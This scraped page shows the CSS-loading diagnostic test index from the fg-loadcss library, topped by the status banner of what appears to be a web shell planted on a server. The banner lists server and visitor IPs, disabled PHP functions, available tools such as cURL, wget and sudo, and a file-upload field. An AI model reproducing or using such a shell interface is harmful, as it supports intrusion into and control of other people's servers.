| Server IP : 185.86.78.101 / Your IP : 216.73.216.124 Web Server : Apache System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /www/wwwroot/mifepriston.org/node_modules/fg-loadcss/test/ |
Upload File : |
<!doctype HTML>
<html>
<head>
<title>LoadCSS Diagnostic Test Files</title>
<meta charset="utf-8">
<style>
/* a few demo styles */
body {
font-family: sans-serif;
margin: 50px auto;
max-width: 40em;
padding: 0 20px;
line-height: 1.5
}
</style>
</head>
<body>
<h1>CSS Loading Diagnostic Tests</h1>
<p>This directory contains a variety of files that employ various CSS loading techniques.
Most files reference a CSS file that is generated by PHP to include a 5-second server delay to mimic latency.
The delay makes it easier to determine if content is rendered before the CSS loads.</p>
<h2>Standard Loading</h2>
<ul>
<li><strong><a href="control.html">Link in Head</a>:</strong> Does a link to a stylesheet from the head of the page block page rendering?</li>
<li><strong><a href="body.html">Link in Body</a>:</strong> Does a stylesheet link in the body of the page block all page rendering, rendering of content that comes after it, or not block at all?</li>
<li><strong><a href="import-head.html">@import in Head</a>:</strong> Does an inline @import reference from the head of the page block rendering?</li>
<li><strong><a href="import.html">@import in Body</a>:</strong> Does an inline @import reference from the body of the page block rendering of content below it?</li>
<li><strong><a href="preload-control.html">Rel=preload Test</a>:</strong> standard link[rel=preload] with an onload handler to apply as a stylesheet once loaded. This will only work in supporting browsers.</li>
<li><strong><a href="dom-append.html">DOM appendChild</a>:</strong> Create a link element and append to the document.</li>
<li><strong><a href="attributes.html">Link attributes</a>:</strong> Do browsers supporting Subresource Integrity correctly handle link attributes?</li>
</ul>
<h2>LoadCSS Assisted Loading</h2>
<ul>
<li><strong><a href="preload.html">Preload with loadCSS Polyfill</a>:</strong> Stylesheet preloaded and polyfilled if necessary</li>
<li><strong><a href="preload-switch.html">Preload with loadCSS Polyfill before link</a>:</strong> Same as prior demo, script and link switched in order.</li>
<li><strong><a href="test.html">loadCSS Dynamic Load</a>:</strong> Stylesheet loaded with loadCSS() dynamically.</li>
<li><strong><a href="test-onload.html">loadCSS Dynamic Load with onload handler</a>:</strong> Same as above with onload script handler.</li>
</ul>
</body>
</html>